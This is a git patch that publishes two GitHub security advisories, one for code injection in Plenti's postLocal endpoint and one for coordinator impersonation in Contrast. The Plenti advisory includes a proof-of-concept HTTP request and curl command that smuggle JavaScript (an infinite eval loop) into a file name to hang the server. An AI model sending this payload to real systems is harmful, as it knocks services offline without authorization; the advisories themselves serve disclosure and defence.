From 260f9b8ce7dff238c68ec01199f5e99add7dd628 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 5 Feb 2025 21:32:49 +0000 Subject: [PATCH] Publish Advisories GHSA-mj4v-hp69-27x5 GHSA-vqv5-385r-2hf8 --- .../GHSA-mj4v-hp69-27x5.json | 62 +++++++++++++++++++ .../GHSA-vqv5-385r-2hf8.json | 58 +++++++++++++++++ 2 files changed, 120 insertions(+) create mode 100644 advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json create mode 100644 advisories/github-reviewed/2025/02/GHSA-vqv5-385r-2hf8/GHSA-vqv5-385r-2hf8.json diff --git a/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json b/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json new file mode 100644 index 00000000000..0df582773db --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mj4v-hp69-27x5", + "modified": "2025-02-05T21:30:53Z", + "published": "2025-02-05T21:30:53Z", + "aliases": [], + "summary": "Plenti - Code Injection - Denial of Services", + "details": "### Summary\nWhile pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.\n\n### Details\nWhile posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.\n\n\"image\"\n\nLast part of compileSvelte function ssrStr parameter executed in v8go engine.\n\n\"image\"\n\nThis cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.\n\nAfter posting a file with name 'layouts/global/test; eval(`while(1);`);var test.svelte' we can see the ssrStr parameter include our javascript codes.\n\n\"image\"\n\n**Note**: Eval usage not must I just want to ensure that it's run javascript commands.\n\n### PoC\n**Request**\n```\nPOST /postlocal HTTP/1.1\nHost: localhost:3000\nContent-Length: 125\nContent-Type: application/json; charset=utf-8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]\n```\n**Video**\n![PoC](https://github.com/user-attachments/assets/2aca36a1-6989-4be8-a8d1-3b12960f3e9b)\n\n**Curl Request**\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \\\n --data-binary $'[{\\\"action\\\":\\\"create\\\",\\\"encoding\\\":\\\"text\\\",\\\"file\\\":\\\"layouts/global/test; eval(`while(1);`);var test.svelte\\\",\\\"contents\\\":\\\"anethole\\\"}]' \\\n $'http://localhost:3000/postlocal'\n```\n\n### Impact\nIt's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.\n\n**Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like [CVE-2024-5830](https://github.com/advisories/GHSA-fchp-8m28-g68f),", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/plentico/plenti" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.7.17" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.7.16" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5" + }, + { + "type": "WEB", + "url": "https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/plentico/plenti" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-02-05T21:30:53Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/02/GHSA-vqv5-385r-2hf8/GHSA-vqv5-385r-2hf8.json b/advisories/github-reviewed/2025/02/GHSA-vqv5-385r-2hf8/GHSA-vqv5-385r-2hf8.json new file mode 100644 index 00000000000..bc00e7b6f75 --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-vqv5-385r-2hf8/GHSA-vqv5-385r-2hf8.json @@ -0,0 +1,58 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vqv5-385r-2hf8", + "modified": "2025-02-05T21:30:35Z", + "published": "2025-02-05T21:30:35Z", + "aliases": [], + "summary": "Contrast's unauthenticated recovery allows Coordinator impersonation", + "details": "### Impact\n\nRecovering coordinators do not verify the seed provided by the recovering party. This allows an attacker to set up a coordinator with a manifest that passes validation, but with a secret seed controlled by the attacker. \n\nIf network traffic is redirected from the legitimate coordinator to the attacker's coordinator, a workload owner is susceptible to impersonation if either \n\n* they `set` a new manifest and don't compare the root CA cert with the existing one (this is the default of the `contrast` CLI) or\n* they `verify` the coordinator and don't compare the root CA cert with a trusted reference.\n\nUnder these circumstances, the attacker can:\n\n* Issue certificates that chain back to the attacker coordinator's root CA.\n* Recover arbitrary workload secrets of workloads deployed after the attack.\n\nThis issue does **not** affect the following:\n\n* secrets of the legitimate coordinator (seed, workload secrets, CA)\n* integrity of workloads, even when used with the rogue coordinator\n* certificates chaining back to the mesh CA\n\n### Patches\n\nThis issue is patched in Contrast v1.4.1.\n\n### Workarounds\n\nThe issue can be avoided by verifying the coordinator root CA cert against expectations.\n\n* At the first `set` call, keep a copy of the CA cert returned by the coordinator.\n* After subsequent `set` or `verify` calls, compare the returned CA cert with the backup copy. If it matches bit-for-bit, the coordinator is legitimate.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/edgelesssys/contrast" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.4.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.4.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/edgelesssys/contrast/security/advisories/GHSA-vqv5-385r-2hf8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/edgelesssys/contrast" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-285" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-02-05T21:30:35Z", + "nvd_published_at": null + } +} \ No newline at end of file